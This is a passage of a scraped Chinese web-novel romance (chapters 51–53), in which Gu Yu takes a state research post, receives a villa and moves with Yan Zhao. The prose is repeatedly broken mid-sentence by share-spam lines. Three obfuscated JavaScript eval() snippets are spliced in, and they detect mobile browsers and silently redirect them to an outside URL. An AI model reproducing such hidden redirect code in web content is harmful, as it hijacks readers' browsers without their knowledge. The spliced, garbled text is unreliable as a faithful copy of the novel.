说—— 下一块，就不会偏了。 那两个男人被她这一手吓得心里发毛。 脸上的轻佻一下子散了，低声骂了句“神经病，低着头就要走。 哪知道他们刚转过身，肩膀一沉，人已经被人从后面按倒在地。 “干什么的？大晚上不回家，在这儿耍流氓！ 警察动作利索，膝盖顶着背，直接把人制住。 那两个人看到是警察，这才慌了，连声喊：“误会！都是误会！我们什么都没干—— 可话还没说完，就被警察拽了起来，压着往前走，声音很快被拖远。 街边重新安静下来。 言昭站在原地，手指还残留着刚才用力的发麻感，呼吸一时没缓过来。 就在这时，一股熟悉的力道猛地把她拽进怀里。 很紧。 紧得她整个人都撞了上去。 顾煜的手臂牢牢扣着她的背，呼吸贴在她发顶，声音压得很低，还在发抖。 “昭昭，你不是答应过我，不会离开我身边吗？ 而在这一瞬间，言昭却什么都听不见了。 只剩下他身上的温度，熟悉的气息，还有贴在耳边的那点几乎压不住的慌乱。 她鼻子一酸，反应过来时，双手已经死死攥住了他的衣服。 指节发白。 然后言昭声音带着哭腔：“你去哪了？ 顾煜原本绷着的那口气，在听见她断断续续的哭声时，才终于松了下来。 不是要离开。 只是没找到他。 这个念头像是突然落回胸腔里，他搂着她的手臂不自觉地又收紧了几分，力道重得几乎要把她嵌进怀里。 她的额头抵在他胸前，呼吸乱成一团，眼泪一股一股往外涌，湿透了他的衣襟。 顾煜低下头，下巴贴着她的发顶，声音比刚才低了许多，带着一点压不住的哑。 “对不起。 他说完这三个字，喉结明显滚了一下，像是把后面的话在嘴里反复压过。 “我去把工作交接了一下。 “我以为你会睡一会儿，才离开的。 他停顿了一瞬，手掌贴着她的背，轻轻按着，像是在确认她真的在这里。 “昭昭，对不起。 言昭的手指还攥着他的衣服，没松。 她把脸埋得更深了一点。 …… 两人回到家里的时候，天已经暗透了。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 屋里很安静，灯亮起来的瞬间，言昭才真正缓过那口气。 她坐在床边，胸腔起伏慢慢平稳下来，指尖还残留着一点凉。 她问：“京大的人说，你毕业了，说你已经不在京大了。 顾煜伸手握住她的手，把她的指尖贴到自己脸颊上。掌心下的皮肤是温热的，触感很真实。 他顺着她的手，轻轻带着她抚了一下。 “我其实很早就毕业了，一直留在京大，是在帮教授做事。最近答应了国家那边，今天就是过去签字的。 “本来想着，回来再找个机会跟你说。没想到吓到你了。 “昭昭，对不起。 这是言昭第一次听见顾煜跟她说这么多话。 不是简单的解释，也不是一句带过，而是认真地、一句一句地告诉她发生了什么。 他看着她的时候，唇角带着极浅的笑意，眼神温和得不像平时那个总是收着情绪的人。 言昭站在他面前，一时间没说话。 她只是看着他，心口那点乱糟糟的地方，慢慢安静下来。 言昭垂下眼：“我不知道你喜欢吃什么，不知道你喜欢去什么地方，不知道你具体做什么事情，也不知道你已经毕业了。 她停了一下，喉咙轻轻动了动。 “我对你……什么都不知道。 这句话落下来，屋里安静了一瞬。 顾煜的呼吸明显慢了一拍。 他没有立刻接话，而是往前凑近了一点，距离近到她能看清他眼睫下那点细微的光。 她的视线下意识往后退，还是被他紧紧握住。 顾煜低头看着她，唇角勾起弧度。 “你现在，他顿了顿，像是在确认她的反应，“是开始在意我了吗？ 这句话一出来，言昭心口猛地一跳。 她原本攒好的那点话，被他这么一打断，瞬间卡在了喉咙里。 她皱了下眉，抬头瞪他，眼神里又急又恼，像是被人戳破了什么。 “你怎么总是这样……我每次想跟你说点认真的，你就非要—— 她话没说完。 顾煜已经笑了。 不是平时那种淡淡的笑，是明显带着一点愉悦的，眼底的阴影像是被拨开了。 他靠得更近了些，却没有再碰她，只是低声说： “好，那你慢慢说。 他的语气收了锋芒，还真的在等。 言昭张了张嘴，又把话咽了回去。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 …… 晚上两人并排躺在床上。 窗外偶尔传来风声，屋里却很安静。 顾煜在说话。 他说自己的工作，其实就是用数学去造东西。 他说在京大念书的时候，很多课对他来说并不费时间，用了很短的一段日子，就把该学的都学完了，剩下的时间基本都在帮教授干活。 这些话，言昭以前从来都不知道。 她转过头看了他一眼，眼睛在昏暗的月光下亮着，小声说了一句：“那你不就是他们说的那种……文曲星降世吗？ 顾煜唇角轻轻扯了一下，那笑意很淡，却有点自嘲。 “其实我不喜欢读书。 这句话让言昭愣了一下，眉头下意识皱起，明显没反应过来。 顾煜偏头看着她，声音放得很低：“是你说读书是好事，我才试试的。 话音落下，屋里安静了一瞬。 言昭只觉得心脏猛地跳了一下，跳得又重又快。 过了一会儿，她慢慢平复下来，才开始说起自己的事。 说队里的琐碎，说以前在队里的事情，说进城后的事情。 她第一次，说了这么多关于自己的事情。 顾煜没打断，只是听着，偶尔应一声，呼吸就在她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338020|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧，很近，但是没有再靠过来。 这一晚，他没有碰言昭。 没有抱她，也没有把人往怀里拢。 两人并排躺着，顾煜只是伸过手，把她的手牵过去，放在自己掌心里，指腹贴着她的手背，慢慢地揉捏着。 言昭能感觉到他掌心的热度，还有那种刻意收敛过的分寸感，反倒让她有点不适应。 以往他在身边，总会不自觉地贴过来，哪怕什么都不做，也有种被牢牢圈住的存在感。 可今晚没有，只有牵着的那只手。 言昭的指尖微微蜷了一下，又被他顺手按住，重新摊开。 她忽然开始胡思乱想，是不是他对自己没感觉了。 这个念头一冒出来，她自己都愣了一下，可越想压下去，反而越清晰。 她侧过头看了他一眼，只看到他安静的侧脸，呼吸平稳。 言昭收回视线，手指在他掌心里轻轻动了动。 顾煜没有松开，只是把她的手握得更紧了一点。 …… 一夜好觉。 第二天醒来，言昭精神不错，心里已经开始打算要奋斗了。 那个酱她不打算放弃，反正 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 也简单，慢慢来就行。 晚上还要继续上课。 哪知道言昭这边计划的好，顾煜就带着她出了门。 不是去忙正事，而是逛街。 言昭觉得顾煜真的是她奋斗路上的绊脚石。 每次她想干点什么，这人总会打断自己。 在买衣服的时候，顾煜顺口跟她说了一件事—— 最近可能要搬家。 言昭一开始还没反应过来，心思还在盘算着之后怎么还价。 因为顾煜给她挑衣服，一件接一件往她手里放，她说自己不要都不行。 现在听到“搬家”两个字，她这才猛地回神，吃了一惊：“这是咱们新买的房子，还要搬到哪里去？” 顾煜趁着她惊呆的时候，顺手就把她手上的衣服全交给了店员，动作很快地付了账，才跟着说道：“我工作有点变动，住在这边不太方便了。” 言昭眼睁睁看着他把账结完，连拦都来不及。 等反应过来，顾煜已经一手提着大包小包，另一只手牵着她，直接带着人离开了商场。 外头人来人往，她还没来得及再问一句，顾煜已经低下头，凑到她耳边，声音压得很低。 “他们给了我一套房子住，是小洋楼，比我们现在住的地方大一些。” 言昭一下子愣住了，随即震惊地看着他，脱口而出：“工作……还送房子？” 顾煜原本并没觉得这算什么大事，在他看来，也不过是那几个人给的一点小恩小惠而已。 他一直记得她之前看中的那套房子，都没怎么在意。 这会儿看到她这个明显被砸懵了的小模样，情绪全写在脸上，连脚步都慢了下来。 顾煜笑着说：“正好，今天我们就去看看吧。” 言昭一愣，显然没想到会这么快。 她还以为至少要回家放个东西，可顾煜并没有这个打算，提着大包小包，直接带着她往外走。 她一边跟着，一边还在心里琢磨，两个人以后要怎么过，又忍不住想，难道新房子就在附近？ 结果下一刻，她就发现自己想多了。 顾煜不知道跟谁打了个招呼，很快就有一辆车停在路边。 开车的人一见到他，态度明显变了，对着顾煜点头哈腰，语气客气得过分。 言昭被他带着坐进车里。 她是真的被震住了。 车子一动，她整个人还有点没缓过来，下意识往顾煜那边靠了靠，凑到他耳边，小声问了一句：“四轮车子……不是很大的领导才能坐吗？我们也能坐吗？” 顾煜笑了笑，“你男人虽然不是领导，但也可以坐。” 言昭还没来得及消化这句话，手已经被他牵了过去。 顾煜指腹在她掌心里轻轻捏了一下，带着安抚。 “放心。” 他的声音低低的，就在她耳边。 言昭原本绷着的那口气，被他这一捏，莫名松了些，指尖也慢慢放软下来。 司机从后视镜里看了一眼，脸上笑意明显了些，语气带着点熟络：“这是嫂子吧？” 言昭脸红，顾煜笑着说嗯。 第52章 你好像有点热？ 车停下来的时候，言昭一抬头，就看见了眼前的小洋楼。 她是真的怔住了。 那是一栋她从没见过的房子，两层高，白墙红顶的。 上辈子，她见过最好的房子，还是顾城后来盖的红砖房。 用的还是顾煜的钱，但顾城没让她住进去过。 那时候，她依旧睡在土胚房里，冬天漏风，夏天闷热。 重生之后，她见过最好的房子是顾煜学校的寝室。 那水泥房子干净得过分，地面亮得发白，她走进去的时候，下意识放轻了脚步，生怕踩脏地面。 再后来，她住进了筒子楼，那已经是她心里能想到的最好去处。 她甚至一度以为，自己这辈子大概就会在那样的房子里住下去。 可现在，言昭站在一栋更好的房子面前。 顾煜说，这是以后两个人要住的地方。 而且，还是国家让他住的。 言昭的喉咙发紧，一时说不出话来，只觉得眼前这一切，太不真实了。 顾煜看她这个模样，随即伸手牵住了她的手，带着她往里走。 “我们进去看看。”他说得很随意，“不满意，还可以换。” 言昭猛地倒吸了一口气，下意识抬头看他：“……还可以换？” 顾煜点了点头，唇角带着点笑意：“当然可以，我可是有爱人的。” 言昭听的脸红。 两人一起进了门。 司机很自觉地停在外头，没有跟进来。 门一关上，外头的动静隔绝开来，屋子里一下子安静了。 言昭的胆子也跟着大了起来。 她先是站在门口看了一圈，随后慢慢往里走，目光落在客厅的地面、墙面，又抬头看了看楼梯，脚步不自觉地放轻，但是比刚才多了几分放开。 她伸手摸了摸扶手，又绕到窗边往外看。 不远处竟然还有一条湖，湖边种了不少看起来很好看的树。 言昭还是没忍住，回头看着他问了一句：“真的是国家送给你住的？” 顾煜脚步一停，侧过头看她，语气平静，但很认真地纠正：“不是给我一个人住的，是让我跟我爱人一起住的。” 言昭脸颊微微一热，视线下意识移开，没有再接话，只是转身往楼梯那边走。 她踩着台阶上了二楼，一间一间地看过去。 那双眼睛亮的明显。 走廊尽头、靠窗的位置、朝向不同的房间，一个接一个 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 打开。 言昭忍不住低声惊叹了一句：“房间好多啊。” 随后又回头看向他，有点不确定地问：“这么多房间……就真的只有我们两个人住吗？” 顾煜站在楼梯口，脸上带着温柔笑容地看着她，点了点头，“嗯。” 等到言昭把二楼的房间一间间看完，她胸口那股兴奋慢慢退了下去，反而开始发虚。 这么大的房子。 这么多房间。 她心里忽然冒出一个念头，怎么压都压不住—— 国家发这么大的房子，是要让顾煜去干什么？ 是不是那种不太好的，很危险的事情？ 言昭转身下楼，走到顾煜面前。 顾煜正看着她。 他早就注意到她情绪的变化，从刚才的激动，到现在明显沉下来的神色。 他伸手把人拉近，掌心贴上她的脸颊，温度稳稳地落下来，语气放得很低：“怎么了？” 言昭抬头看着他，犹豫了一下，还是问了出来：“你是不是……要去做很危险的事情？” 顾煜愣了一下，随即笑了。 “不是。” 言昭唇瓣动了动，像是还想确认什么，声音不自觉地小了下来：“那国家怎么会送这么大的房子？房子多贵啊……怎么会有人白送呢？” 顾煜听完她的话，忽然伸手，双手捧住了她的脑袋。 他掌心贴着她的后颈，额头几乎抵下来，声音低低的：“昭昭。”目光看着她，语气像是在确认什么：“我现在，好像已经是你的第一位了。” 言昭一愣。 她明明是在问房子的事情，被他这么一说，思路一下子被带偏了。 她也觉得他有点刻意转移话题，眉头皱起来，伸手抓住他的衣服：“你还没回答我，国家为什么要送房子给你？” 顾煜没立刻回答。 他把人拉进怀里，手臂收紧，低头在她颈脖那儿蹭了蹭，动作带着点黏人的意味。 随后是一声低低的笑，闷在她肩侧。 言昭被他这一套弄得更懵了。 她站在他怀里，完全搞不懂他在笑什么，只觉得这人莫名其妙得很。 顾煜笑了好一会儿，笑声贴在她颈侧，带着一点松散的温度，等她在他怀里挣了一下，他才慢慢停住。 他没再绕弯子，说道：“你不用怕，我没被逼着做事。” 言昭抬头看他，明显还不太信。 顾煜低头看着她，额头抵着她的额头，眼 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 睛是溢出来的高兴：“是你男人太厉害了他们想留住我才送房子。” 没有“国家”也没有那些她听不懂的说法。 只有很直白的话。 言昭看着他还是有点不确定小声问了一句：“真的吗？” 顾煜点头：“真的。我不会欺骗你。” 她又追着问：“那……是很辛苦的活吗？” 顾煜想了想如实说：“动脑子的活应该算辛苦。” 他说到这里又顺口补了一句：“而且这房子不是只有我们有。这一片住进来的都是被国家安排住在这边的人。” 这句话一落下言昭胸口那点悬着的气才终于松了下来。 在她的认知里动脑子的活不算累。 再加上不是自家特殊不是被单独拎出来的那种她心里一下子立马踏实起来。 情绪一松言昭脸上就藏不住了。 眼睛亮起来语气也跟着高了几分带着明显的激动：“那这个房子……就真的是我们的了？我们竟然真的能住进这么大的房子里面！” 顾煜看着她这副反应眉心微微蹙了一下。 刚刚她明明还在紧张他、担心他现在注意力却一下子全被房子带走。 只不过他发现她对自己的亲密接触已经明显习惯了。 刚才他把人拉进怀里又贴着她说话手碰着她的脸她也就只是脸颊微微红了一下连躲都没躲。 不像最开始那样紧绷也没有慌乱。 顾煜觉得自己从书上学习的那些方法还是挺有用。 …… 回去的路上司机在知道两人想要搬家后立马说随时都可以搬家人和车都可以安排好 司机在知道两人想要搬家后立马说随时都可以搬家人和车都可以安排好不用两人操心。 言昭没想到连搬家这种事居然都有人帮忙。 车子很快又把两人送回了筒子楼的院子。 因为她和顾煜在院子门口跟顾城吵过一回那动静不小当时看热闹的人不少这会儿人还在。 可现在所有目光都落在那辆四轮车上没人再敢多嘴一句。 有人原本张了张嘴话还没出口又硬生生咽了回去。 在京市能坐上四个轮子的车的人已经不是普通人了。 言昭跟着顾煜下车的时候明显感觉到那些目光变了。 她脚步顿了一下下意识看了顾煜一眼。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 顾煜像是没察觉那些视线，只牵着她，往楼里走。 回到家里，言昭站在屋里看了一圈。 她其实并不嫌弃这里。 筒子楼住得久了，该有的都有，也算安稳。 可刚从那栋小洋楼回来，再看眼前这间屋子，还是忍不住觉得寒酸了不少。 这种对比来得太快，让言昭忽然意识到，自己的眼光，好像真的在被顾煜一点点抬高了。 念头一转，她又想起那罐酱，还有之后要不要卖。 要不要继续折腾，再加上读书的事，一下子全挤到脑子里。 那点刚被房子冲散的现实问题，又慢慢冒了出来。 顾煜看出了她在想什么。 他没多问，只是在她开口之前，先说了话，语气很平：“搬过去以后，你就好好学习，好好读书。 言昭低着头，小声应了一句：“我会好好读书的。她又像是给自己打气一样，接着说：“争取早日把那个工作拿下来！ 话音刚落，顾煜愣住了。 “？ 他这才反应过来，自己之前随口给她画的那个饼，还真被她记到现在，就这么一直吊着她。 顾煜沉默了一瞬，随后忍不住叹了口气。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338021|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手按了按眉心，语气里多了点说不清的无奈。 …… 言昭要搬家的事，很快就被隔壁两家知道了。 她没多说，只解释了一句，说是顾煜工作上的问题，住在这边不太方便，所以才要搬走。 那两家听了，都是一阵叹气。 尤其是李家。 这段时间，酱卖得确实不错，来问的人一天比一天多。 李家原本还想着，能不能跟着言昭一起多赚点，谁知道转眼人就要走了。 感慨归感慨，李家也没绕弯子，直接问了出来，能不能把这个酱料的方子卖给他们家。 言昭一听，整个人都愣了一下。 卖方子这种事，她还是头一次遇到，一时也拿不准主意，只能先应付过去，转身就去问顾煜。 顾煜听完，连眉头都没动一下。 “卖了。 他说得很干脆，没有半点犹豫。 言昭有点不情愿：“真的要卖掉吗？ 顾煜点头，给她说了一波分析：“京市很大，不少人多少都有点卖吃的手艺。现在国家改革开放，做买卖的人只会越来越多，等到时候，这种方子就不值现在这个价了。 言昭听着 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 ，觉得他说的是对的。 可明白归明白，她还是有一颗想要赚钱的心。 她没说话，只是低头想了一会儿。 顾煜看她这个样子，就知道她还没死心。 他沉默了一下，语气忽然缓和了几分：“这样吧，等你考上大学，我就让你去做买卖，好不好？” 这句话一出来，言昭立马高兴了。 可那点高兴还没站稳，很快又塌了下去。 大学哪是那么好考的。 她脸上的情绪还没来得及藏，顾煜就又慢悠悠地补了一句，像是早就料到她会犹豫：“考上大学，我能保证，到时候一个月让你赚五千块。” 言昭的呼吸，瞬间就乱了。 一个月五千块？ 那两个月……不就是万元户了？ 言昭一下子就有了干劲。 她立刻跟着一起收拾东西打包。 从京大那边搬过来时，还没多少东西。 如今在这儿住的时间也不算长，没想到大包小包一堆，直接在屋里都快堆满了。 筒子楼里的人很快跟着都知道她要搬走了，有人试探着来问，这房子卖不卖。 言昭想都没想就摇头。 谁知道国家给的房子会不会收回去，这里留着，好歹算条退路。 可让她没想到的是，顾煜却说要卖。 他说这房子太小了，留着也没什么用。 言昭跟着想了想，又看了眼这间屋子。 好像……也是。 本来言昭晚上还想着去上学，顾煜说不差这一天，等都安顿好再说。 她被他说服了，也没再坚持。 两人把屋里最后一点东西整理好，天色已经暗下来，一起去了大澡堂。 热水一泡，整个人都松了。 等回到家里，两人身上还带着点潮湿的水汽。 言昭擦着头发，抬眼就看见顾煜走进来。 他领口敞着，锁骨和胸口一大片露在灯下，水珠顺着线条往下滑。 她只是看了一眼，脸就一下子热了，心跳乱七八糟地撞着，连呼吸都没找准节奏。 她原本以为，今晚他怎么也会做点什么。 可顾煜像是什么都没察觉，只是把灯关掉了，语气平常地让她早点休息。 他没有靠过来，也没有碰她，就躺在她的旁边。 言昭站在原地，心里一阵一阵地发虚，又发痒，连自己都说不清是松了口气，还是失落。 那点情绪压不住，她几乎都要忍不住往他那边扑过去了。 可顾煜已经闭上眼睛在睡觉。 屋子里一下子静下来，只剩下她自己乱成一团的心跳声。 言昭的那点躁动，自然没能瞒过他。 顾煜伸手，把她乱动的手扣住，掌心贴上来，低声问了一句：“怎么了？你好像有点热？” 言昭顺着他的力道侧过来，贴得更近了些，呼吸轻轻扫在他颈侧，小声应：“是有点热。” 她说这话的时候，几乎是下意识地靠过来的。 顾煜明显感觉到了。 他的呼吸猛地一滞，握着她的手不自觉收紧了一点。 第53章 又湿又热 顾煜当然不是想忍。 他尝过昭昭之后，那种感觉根本挥之不去，比他从前在梦里设想的还要清晰、还要缠人，一旦想起，几乎没有退路。 可偏偏也是那两次，她每一次都难受得厉害。 所以现在，在有些东西没彻底弄明白之前，他不敢再碰。 更何况，这几天昭昭对他已经完全不排斥了。 现在这样，睡在一张床上，也不再刻意避开他，手被他抓着，也不会第一时间缩回去。 她现在甚至会主动靠近，呼吸贴着他，说自己热。 这对他来说，几乎是致命的。 顾煜下颌绷得很紧，牙关死死咬住，连呼吸都刻意放轻。 胸腔里翻涌得厉害，却只能一寸一寸压下去。 正当顾煜还在努力平复自己的情绪，心口起伏得很轻时，他低声在心里默念着金刚经。 哪知道他眼前忽然一暗。 言昭不知道怎么的，整个人直接压到了他身上。 顾煜的神色瞬间空了一下。 他下意识眨了眨眼，像是没反应过来发生了什么，呼吸也跟着停住了。 两人对视了一瞬。 言昭先回过神来，脸色猛地一变，慌忙从他身上挪开，几乎是翻身下了床，动作乱得不行。 她站在床边，像是突然找到了理由，语速有点快：“我、我突然想起来，我今天还没喝牛奶…… 所以她才感觉自己浑身不太对劲。 屋里重新安静下来。 顾煜还躺在床上，一动没动。 几秒之后，他的神情才彻底僵住。 那一瞬间来得太突然，身体的反应完全不受控制，等他意识到的时候，一切已经发生了。 他闭了闭眼，下颌线绷得死紧，整个人像是被狠狠敲了一下，呼吸都乱了节奏。 自己竟然因为昭昭的主动靠近，就释放了…… 明明没触碰到人。 而外头，水声轻轻响着。 言昭已经在泡牛奶。 她泡了两杯。 水还滚烫，她自己几乎没等水凉，就一口一口喝完，然后她就出汗了，只不过胸口那点躁意也算压了下去。 她擦了下额角，回头看向床那边。 顾煜还躺着，睁着眼，目光落在天花板上，不知道在想什么，一动不动。 言昭端着另一杯牛奶走过去，在床边停下，把杯子递到他面前：“你也喝点吧。 顾煜这才动了。 你的朋友正在书荒，快去帮帮他吧 他的动作明显慢了一拍，像是反应有点迟钝，视线落在她脸上，又移到那杯牛奶上，露出一个很好看的笑。 只是，那笑意明显有点僵。 “好。他说。 他慢慢坐起身。 言昭赶紧伸手去扶他，语气带着点慌：“是不是我刚刚压到你了？你哪里不舒服吗？ 她一边说着，一边下意识要去掀被子查看。 下一秒，顾煜猛地伸手。 力道很重，直接把她的手按住。 言昭能清楚地感觉到，他掌心贴上来的那一瞬间，又湿又热，温度高得有些不正常。 她心口一跳，下意识抬头看他。 顾煜已经收敛了表情，声音压得很稳：“没有。他说得很快，明显不想让她继续往下问，低声说了一句：“你先上来。 言昭下意识“啊 她只能从他身前爬过去。 动作并不快，可偏偏每一下都让人无处可躲。 等她膝盖落到床里侧的时候，顾煜微微仰起头，喉结滚动得厉害，像是被什么狠狠压了一下。 他半阖着眼，轻轻呼出一口气。 若隐若无的光芒落在他侧脸上，勾勒出轮廓，那张脸在此刻显得过分好看。 言昭的动作顿了一瞬。 她跟着咽了一下口水。 刚刚才被压下去的躁意，又不受控制地冒了出来。 她心口一紧，几乎是逃似的缩进里侧，背贴着墙，迅速背对着他躺好。 整个人蜷得很紧。 顾煜等她彻底躺好，呼吸慢慢平稳下来，确认她没再动了，才低低地又呼出一口气。 他抬手，轻轻掀开被子，下了床。 随后走到床尾，把床帘拉上，隔出一道昏暗的影子。 紧接着顾煜站在柜子前，拉开柜门，从里面拿出衣服，换了条裤子。 整个过程都很安静，只有布料摩擦的细微声响。 言昭原本绷得很紧。 听见柜子被拉开的声音，她觉得疑惑，忍不住从被子里探出一点脑袋，偷偷往外看。 床帘垂着，只能看到模糊的影子，也看不清具体动作。 她盯着那层帘子看了两眼，又像是怕被发现似的，赶紧缩了回去，把被子重新拉到下巴。 屋子里只剩下细碎的动静，很快又安静下来。 此刻顾煜站在柜子前，看着换下来的那条裤子，指尖停了停 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 。 他抬手捂住额头，掌心遮住了半张脸，微微仰起头，无声地叹了口气，只觉得有点丢人。 这种事，本不该失控。 他原本想现在就拿去洗，可脑子里一闪而过的念头却让他停住了—— 一旦动静大了，昭昭肯定会察觉。 想了想，还是算了，这种丢脸的事，自己知道就够了。 顾煜把裤子收好，随后转身回到床边。 他重新躺下，把被子拉好，身体绷了一会儿，才慢慢放松下来。 顾煜盯着昏暗的天花板看了一会儿，喉结轻轻动了动，最终闭上眼。 次日一早，言昭醒过来的时候，床边已经空了。 她打了个哈欠，慢吞吞地坐起身，想到今天就要搬家，心里还是忍不住泛起点兴奋。 说搬就搬，快得有点不真实，可那股期待还是压不住。 她简单收拾了一下，推门出去。 刚出来站在门口，就听见王婶子的声音传过来，语气里带着点稀奇：“你家男人大清早就起来洗衣服，真勤快啊。 言昭脚步一顿。 她下意识顺着杆子看过去，上面已经晾晒了几件衣服。 王婶子见她出来，又笑着补了一句：“看来是怕你累着了。 言昭脸上一热，张了张嘴，一时不知道该接什么，只能含糊应了一声。 她原本以为，一觉醒来就该搬家了。 难道是要晚上再搬？ 言昭没多想，先去洗漱。 冷水扑在脸上，人彻底清醒过来。 回到房间后，她干脆把床上的被褥、枕头一股脑全收进包裹里。 屋子一下子空了不少。 她给自己倒了杯牛奶，喝完后在床边坐下，手搭在包裹上，目光开始不自觉往门口飘。 外头偶尔传来院子里的说话声，她已经分辨不出有没有他的。 言昭坐了一会儿，又坐了一会儿。 心里那点期待被拖得细细长长，只剩下一个念头在转—— 顾煜什么时候回来。 …… 顾煜这边，这一次是在工作单位的图书馆。 长桌被他占了大半，卫生健康相关的书一本本摊开，堆在面前，页角被压得整齐。 他坐得很直，神色严肃，目光落在字里行间，几乎没怎么动过。 看得极认真，他一页一页啃。 笔记本放在手边，偶尔停下来记几行。 馆里的人都认识 你的朋友正在书荒，快去帮帮他吧 他。 不提他给出的那几个公式已经让不少研究找到了方向。 单说这人，是领导三顾茅庐亲自请来的，还这么年轻，没人敢轻视。 有人路过，脚步都会下意识放轻。 有人原本想找书，见他坐在那一片，干脆绕道。 顾煜像是没察觉到周围的动静，只专注在眼前的内容上，眉心偶尔轻蹙，又很快松开，继续往下看。 这时，有个中年男子从书架那边经过，眼角余光扫到顾煜，脚步一顿，随即笑着走了过来。 “顾煜？”他语气很熟，“王老这么快就给你安排活了？” 他说着，顺势凑近看了一眼桌面。 下一瞬，表情明显一愣。 桌上摊开的，全是一排排卫生健康相关的书，厚的薄的都有，摆得整整齐齐。 中年男子眉头一跳，连忙问：“你这是……身体不舒服？” 顾煜闻言笑了笑，摇了下头，语气很平常：“不是。”他把书合上一本，又放回原位，说得很淡：“只是想多学点别的知识。” 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338022|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人盯着他看了两秒，像是没想到会是这么个答案，随即啧了一声：“羡慕你这好使的脑袋。” 顾煜没接这话，只是礼貌地点了下头，收拾好东西准备离开。 中年男子看着他的背影，摇了摇头，低声感叹了一句：“可惜被王老抢走了，这王老还用房子贿赂人。不行，我还会有机会的！” …… 顾煜提着东西回来的时候，正好是中午。 院子里挺热闹，言昭坐在门口跟几个人说话，脸上带着笑，显然心情不错。 她一眼就看见了他，立马站起身迎过来，话还没来得及说，就注意到他手里提着的木盒。 那盒子很大，看着就沉。 言昭愣了一下，有点惊讶，跟着他进了屋。 门一关上，顾煜把木盒放到桌上，打开来。 里头一层一层码得整整齐齐，是中午饭，三荤一素，旁边还放着一份汤，热气一下子冒了出来。 言昭看得眼睛都睁大了，忍不住惊呼了一声：“这么丰盛？” 顾煜看了她一眼，语气淡淡的：“难道我平时饿着你了吗？” 这话一出来，言昭一下子卡住了。 她自从来到京市，在顾煜的照顾下，自己每一顿都吃得不差。 只不过也不知道自己是从什么时候开始，把这件事当成理所当然。 言昭一时有点尴尬，低着头没吭声。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 顾煜见她不说话，眉心微微动了一下，随即轻轻叹了口气，语气放缓下来：“我没凶你，这个工作食堂是要比京大食堂要好一些。” 言昭轻轻“嗯”了一声，低头继续吃饭。 顾煜看了她一会儿，又开口说：“下午我有点忙，搬家的事，等我回来再弄。” 言昭没抬头，又是一个很乖的“嗯”。 这回顾煜却停了动作，把筷子放下，伸手捏了捏她的耳朵，力道不重，带着点不满：“怎么不说话了？” 言昭被他这么一捏，差点呛住，猛地咳了一下，赶紧抬头，连声说：“好，我等你回来。” 顾煜这才满意了，手指收回去，重新拿起筷子，继续吃饭。 现在的言昭心神不宁。 不是因为搬家的事，而是她从顾煜身上闻到了一股香味。 那味道很淡，不是家里用的肥皂味。 她一开始还以为是自己闻错了，可顾煜靠近的时候，那股香气又清清楚楚地撞进鼻子里。 她整个人一下子绷住了。 在乡下老家，男人身上要是带着香味，只有一种说法—— 是从哪个女人被窝里出来的。 村里一旦出现这种事，往往就是抓奸，女人被骂不要脸，严重的还要被打。 但是这件事现在出现在顾煜身上，言昭一时间不知道怎么办。 两人吃完后，顾煜把碗盘都收起来，站在水池边洗得很仔细。 言昭坐在一旁，原本想帮忙，可刚站近一点，那股香味又飘了过来。 她心里一紧，还是没忍住，低声说了一句：“你身上……好香。” 话一出口，她自己就有点后悔，指尖不自觉蜷了一下。 顾煜动作停了停，低头闻了闻自己身上，又抬眼看向她。 她站在那儿，神色明显紧张，眼睛一瞬不瞬地盯着他，像是在等一个解释。 顾煜看着她这副模样，唇角慢慢扬了一下，笑意很轻，也很温和。 “是有点气味。” 他说得随意。 语气太自然了，反倒让人分不清，是早就知道，还是根本没放在心上。 他把最后一个碗冲干净，放到一旁，转身看着她，像是在等她继续问。 而言昭站在原地，心里那点不安被他这句轻描淡写的话搅得更乱了，一时不知道该不该接着往下说。 顾煜见她还站着没动，神色明显绷着，便没再逗她，主动开口解释了一句。 “应该是材料的气味。”他说得很平静，“今天接触了一批新的东西，味道有点重。” 他说完，又低头闻了闻自己身上，像是在确认，语气随意：“不太好闻？” 言昭原本攒在胸口的那股乱七八糟的念头，被他这句话一下子打散了。 